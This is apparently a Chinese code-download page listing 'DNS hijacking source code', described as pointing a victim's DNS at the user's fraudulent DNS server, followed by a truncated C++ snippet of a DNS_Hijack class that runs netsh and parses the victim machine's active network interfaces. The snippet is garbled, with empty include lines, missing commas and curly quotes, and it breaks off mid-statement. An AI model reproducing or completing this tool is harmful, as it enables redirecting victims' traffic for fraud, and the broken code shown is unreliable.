资源简介
DNS劫持源代码,用户可以传一个ip当作DNS服务器,被攻击者的dns会自动指向您的欺诈DNS服务器。
代码片段和文件信息
#include
#include
#include
#include
#include
#include
using namespace std;
class DNS_Hijack {
private:
list interface_using; //获取本地可用网卡
list last_get_interface_using;
private:
string str; //存储文件读取后的内容
string DNS;
private:
void Get_using_interface()
{
system(“netsh interface show interface > interface_info.txt“);
FILE* fp = fopen(“interface_info.txt“ “rb“);
const int file_size = filelength(fileno(fp));
char* buff = (char*)malloc(sizeof(char)*file_size);
if (fp) {
fread(buff 1 file_size fp);
str = buff;
free(buff);
replaceA_to_B(str “-------------------------------------------------------------------------\r\n“ ““);
Split(str “\r\n“ interface_using);
Spilt_space(interface_using);
}
}
private:
void Spilt_space(list list_str) {
for (list::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {
cout << *itor << endl;
string::size_type first_variable = (*itor).find(“已启用“);
string::size_type second_variable = (*itor).find(“已连接“);
string::size_type third_variable = (*itor).find(“专用“);
if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {
string info = *itor;
last_get_interface_using.
评论
共有 条评论